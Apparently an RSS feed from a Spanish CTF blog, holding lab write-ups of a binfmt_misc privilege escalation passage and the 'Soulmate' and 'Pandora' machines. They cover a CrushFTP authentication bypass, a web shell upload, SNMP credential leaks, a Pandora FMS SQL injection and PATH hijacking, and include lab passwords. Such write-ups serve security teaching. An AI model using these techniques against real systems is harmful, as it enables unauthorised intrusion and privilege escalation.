&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CFLAGS &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SOURCES &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= $(wildcard *.c)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TARGETS &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= $(SOURCES&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;.c=)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.PHONY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; install clean
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;install&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; $(TARGETS)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @echo &lt;span style="color:#e6db74"&gt;&amp;#34;[+] Installing program files&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; install --mode &lt;span style="color:#ae81ff"&gt;0755&lt;/span&gt; emuemu /usr/bin/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mkdir --parent --mode &lt;span style="color:#ae81ff"&gt;0755&lt;/span&gt; /usr/lib/emuemu /usr/lib/binfmt.d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; install --mode &lt;span style="color:#ae81ff"&gt;0750&lt;/span&gt; --group dev reg_helper /usr/lib/emuemu/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @echo &lt;span style="color:#e6db74"&gt;&amp;#34;[+] Register OSTRICH ROMs for execution with EMUEMU&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#39;:EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:&amp;#39;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | tee /usr/lib/binfmt.d/emuemu.conf \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | /usr/lib/emuemu/reg_helper
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clean&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rm &lt;span style="color:#f92672"&gt;-f&lt;/span&gt; -- $(TARGETS)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Confirmamos que existe, es ejecutable por el grupo &lt;code&gt;dev&lt;/code&gt; y tiene &lt;code&gt;cap_dac_override&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8042-a4ce-c3fd52017d5a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Según la documentación del kernel: &lt;a href="https://www.kernel.org/doc/html/latest/admin-guide/binfmt-misc.html"&gt;Kernel Support for miscellaneous Binary Formats (binfmt_misc) — The Linux Kernel documentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Para registrar un tipo nuevo hay que escribir una cadena con este formato:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;:name:type:offset:magic:mask:interpreter:flags&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;El flag que nos interesa:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;C&lt;/code&gt; - credentials&lt;/p&gt;
&lt;p&gt;Cuando se incluye, las credenciales se calculan según el binario. Implica &lt;code&gt;O&lt;/code&gt;, y si se combina con setuid root, el intérprete puede ejecutarse con privilegios elevados.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La idea es registrar una entrada con &lt;code&gt;C&lt;/code&gt; para que se ejecute como root.&lt;/p&gt;
&lt;p&gt;Creamos un binario que asigna permisos laxos a &lt;code&gt;/bin/bash&lt;/code&gt; para explotar el comportamiento, y lo usamos como intérprete.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80d5-a616-c967e82e35a7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo compilamos:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gcc -o root root.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Buscamos un binario SUID root para disparar la ejecución.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ find / -user root -perm &lt;span style="color:#ae81ff"&gt;-4000&lt;/span&gt; -executable &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/newgrp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/chfn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/fusermount
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/gpasswd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/su
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/chsh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/sudo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/mount
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/umount
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/lib/openssh/ssh-keysign
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Podemos usar cualquiera de estos ejecutables.&lt;/p&gt;
&lt;p&gt;Con la flag &lt;code&gt;E&lt;/code&gt; podemos registrar por extensión.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;type&lt;/code&gt; es el tipo de reconocimiento. &lt;code&gt;M&lt;/code&gt; para magic y &lt;code&gt;E&lt;/code&gt; para extension.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80ac-b398-eaff6e900d64.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Soulmate (Easy)</title><link>https://synacklabs.github.io/posts/soulmate/</link><pubDate>Thu, 15 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/soulmate/</guid><description>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80a2-aa42-feffb3dc13bd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Objetivo: explotar un servicio web en el puerto 80 que permite subir y servir imágenes, y usarlo para conseguir ejecución de código. Tras enumerar subdominios/vhosts se identifica un panel relacionado con &lt;strong&gt;CrushFTP&lt;/strong&gt;. Se utiliza un exploit público de la &lt;strong&gt;CVE-2025-31161&lt;/strong&gt; para acceder al panel, enumerar usuarios y finalmente obtener acceso interactivo. Después se exploran rutas alternativas de acceso (cambio de contraseña de un usuario) y se prepara la escalada a través de un servicio SSH interno expuesto en el puerto 2222.&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80a2-aa42-feffb3dc13bd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Objetivo: explotar un servicio web en el puerto 80 que permite subir y servir imágenes, y usarlo para conseguir ejecución de código. Tras enumerar subdominios/vhosts se identifica un panel relacionado con &lt;strong&gt;CrushFTP&lt;/strong&gt;. Se utiliza un exploit público de la &lt;strong&gt;CVE-2025-31161&lt;/strong&gt; para acceder al panel, enumerar usuarios y finalmente obtener acceso interactivo. Después se exploran rutas alternativas de acceso (cambio de contraseña de un usuario) y se prepara la escalada a través de un servicio SSH interno expuesto en el puerto 2222.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="puerto-80-primera-observación"&gt;Puerto 80: primera observación&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-802f-85d2-d141ac8cc663.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Se trata de una app de citas. La funcionalidad de subida de fotos sugiere una posible vulnerabilidad de &lt;strong&gt;file upload&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;El endpoint donde se guardan/gestionan las imágenes:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80d0-90a4-e00d1848b68d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La idea es encontrar una forma de subir contenido malicioso que termine ejecutándose en el servidor.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8083-9fb4-ce8d528f3fca.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-802a-aa9e-c5df7182e0db.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Se observa que el endpoint cambia los &lt;strong&gt;últimos 3 dígitos&lt;/strong&gt;, lo que parece relevante para activar o localizar la shell.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-subdominios-y-vhosts"&gt;Enumeración: subdominios y vhosts&lt;/h3&gt;
&lt;p&gt;Se realizan descubrimientos de subdominios y vhosts.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-809f-a0b8-f567148af65c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Aparece un panel y se obtiene información del servicio: &lt;strong&gt;CrushFTP&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80d7-b7a1-db55ee0a0d01.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Exploit utilizado:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/Immersive-Labs-Sec/CVE-2025-31161/blob/main/cve-2025-31161.py"&gt;https://github.com/Immersive-Labs-Sec/CVE-2025-31161/blob/main/cve-2025-31161.py&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="cómo-funciona-técnicamente-cve-2025-31161"&gt;¿Cómo funciona técnicamente? (CVE-2025-31161)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Proceso de autenticación (race condition):&lt;/strong&gt; el servidor &lt;strong&gt;CrushFTP&lt;/strong&gt; emplea el método &lt;strong&gt;AWS4-HMAC-SHA256&lt;/strong&gt; (compatible S3) para autorizar peticiones.&lt;/li&gt;
&lt;li&gt;Al recibir una autenticación, primero verifica la existencia del usuario (p. ej. &lt;code&gt;login_user_pass()&lt;/code&gt;) &lt;strong&gt;sin exigir contraseña&lt;/strong&gt;, lo que durante un lapso breve deja la sesión en un estado “válido”.&lt;/li&gt;
&lt;li&gt;Si durante ese lapso se envía un header &lt;code&gt;Authorization&lt;/code&gt; malformado (por ejemplo, con solo el nombre de usuario y una &lt;code&gt;/&lt;/code&gt;, como &lt;code&gt;AWS4-HMAC-SHA256 Credential=crushadmin/&lt;/code&gt;), se puede provocar un error que evita que la sesión se cierre y mantiene la autenticación sin validación.&lt;/li&gt;
&lt;li&gt;Con ello, se puede actuar como un usuario conocido (especialmente &lt;code&gt;crushadmin&lt;/code&gt;, por ser cuenta por defecto) y obtener control del servidor.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8052-8069-ce581a2a79bf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/a074e76e-898f-407e-820a-26b826533e60.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="acceso-al-panel"&gt;Acceso al panel&lt;/h3&gt;
&lt;p&gt;Estamos dentro.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-807a-861b-e9af132b8e2d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Enumeración de usuarios disponibles:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/66de0104-b2e2-41fc-8f4a-2cc5a45f87b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="web-shell-a-través-de-la-foto-de-perfil"&gt;Web shell a través de la foto de perfil&lt;/h3&gt;
&lt;p&gt;Desde un usuario con permisos administrativos, se renombra la foto de perfil para intentar obtener una &lt;strong&gt;web shell&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8021-83b3-fc9cd1af8054.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80c1-8c15-c8cbd6bfdbbc.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Comprobación:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8008-9d81-e785c855f9b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="shell-y-credenciales-encontradas"&gt;Shell y credenciales encontradas&lt;/h3&gt;
&lt;p&gt;Se obtiene una shell.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8053-89fd-d9a5e8bb1ab6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Revisión de configuración:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-808e-80f7-dbff0e913332.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Credencial observada:&lt;/p&gt;
&lt;p&gt;Crush4dmin990&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80e6-847d-c0d4b001cc4c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="vía-alternativa-acceso-como-otro-usuario"&gt;Vía alternativa: acceso como otro usuario&lt;/h3&gt;
&lt;p&gt;Otra manera de acceder: se cambia la contraseña de &lt;strong&gt;ben&lt;/strong&gt; y se entra como ese usuario para subir una shell.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-808f-b137-f4341f3844da.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-servicio-interno-ssh-erlang-529"&gt;Escalada: servicio interno SSH (Erlang 5.2.9)&lt;/h3&gt;
&lt;p&gt;Se detecta un servicio SSH interno en el &lt;strong&gt;puerto 2222&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8091-96f6-d087e66bb927.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/TeneBrae93/CVE-2025-3243/blob/main/CVE-2025-3243.py"&gt;link_preview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Se modifica el exploit, ya que &lt;code&gt;nc&lt;/code&gt; no funciona bien en este contexto.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8025-be39-e812d813bdff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Ejecución / resultados:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8064-bff9-d9931d16570d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8081-bbe6-f4235c5c536b.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Pandora (Easy)</title><link>https://synacklabs.github.io/posts/pandora/</link><pubDate>Wed, 14 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/pandora/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Pandora &lt;strong&gt;(Easy)&lt;/strong&gt;. Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar &lt;strong&gt;UDP&lt;/strong&gt;, donde aparece &lt;strong&gt;SNMP (161/udp)&lt;/strong&gt; con community string &lt;code&gt;public&lt;/code&gt;. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de &lt;strong&gt;Pandora FMS&lt;/strong&gt;, explotamos una &lt;strong&gt;SQLi&lt;/strong&gt; para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a &lt;strong&gt;root&lt;/strong&gt; mediante &lt;strong&gt;PATH hijacking&lt;/strong&gt; en un binario SUID que invoca &lt;code&gt;tar&lt;/code&gt; sin ruta absoluta.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Pandora &lt;strong&gt;(Easy)&lt;/strong&gt;. Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar &lt;strong&gt;UDP&lt;/strong&gt;, donde aparece &lt;strong&gt;SNMP (161/udp)&lt;/strong&gt; con community string &lt;code&gt;public&lt;/code&gt;. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de &lt;strong&gt;Pandora FMS&lt;/strong&gt;, explotamos una &lt;strong&gt;SQLi&lt;/strong&gt; para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a &lt;strong&gt;root&lt;/strong&gt; mediante &lt;strong&gt;PATH hijacking&lt;/strong&gt; en un binario SUID que invoca &lt;code&gt;tar&lt;/code&gt; sin ruta absoluta.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8005-a888-ea6d255529dd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Enumeración TCP&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http Apache httpd &lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.41 ((Ubuntu))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Play | Landing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Apache/&lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.41 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La web en el puerto 80 solo mostraba una landing con formulario de contacto. No encontré una vía clara por ahí.&lt;/p&gt;
&lt;p&gt;Enumeración UDP&lt;/p&gt;
&lt;p&gt;Siguiendo la pista, enumeramos UDP y encontramos &lt;strong&gt;SNMP&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;161&lt;/span&gt;/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notas rápidas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SNMP suele usarse para monitorización y gestión remota.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;public&lt;/code&gt; es una community string típica y, si está expuesta, suele filtrar información sensible.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-snmp-y-acceso-inicial"&gt;Enumeración SNMP y acceso inicial&lt;/h3&gt;
&lt;p&gt;Usamos &lt;code&gt;snmpbulkwalk&lt;/code&gt; para volcar información:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;snmpbulkwalk -c public -v2c &lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.11.136
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-803f-8f7b-c15ab2e47c27.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En la salida aparecen credenciales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;daniel:HotelBabylon23&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Con estas credenciales entramos por SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80c4-b98a-f2d6b615e3cd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="post-explotación-usuario-y-pivote-a-servicio-interno"&gt;Post-explotación (usuario) y pivote a servicio interno&lt;/h3&gt;
&lt;p&gt;Dentro, al revisar directorios, vemos que &lt;code&gt;user.txt&lt;/code&gt; pertenece a &lt;code&gt;matt&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daniel@pandora&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/home/matt$ ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daniel@pandora&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/home/matt$ cat user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; user.txt&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Permission denied
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Necesitamos escalar o conseguir acceso como &lt;code&gt;matt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Durante la enumeración detectamos otra web interna. Hacemos &lt;strong&gt;port forwarding&lt;/strong&gt; del puerto 80 remoto para acceder desde nuestra máquina.&lt;/p&gt;
&lt;p&gt;Intentamos autenticarnos con las credenciales de &lt;code&gt;daniel&lt;/code&gt; y no funciona.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-809a-8776-eee07a29e27f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En el footer se observa la versión del producto, lo que nos lleva a investigar vulnerabilidades conocidas.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="sqli-en-pandora-fms-chart_generatorphp"&gt;SQLi en Pandora FMS (chart_generator.php)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/"&gt;Pandora FMS 742: Critical Code Vulnerabilities Explained&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Probamos el endpoint vulnerable para confirmar la inyección:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -sG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;localhost&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/pandora_console/include/chart_generator.php
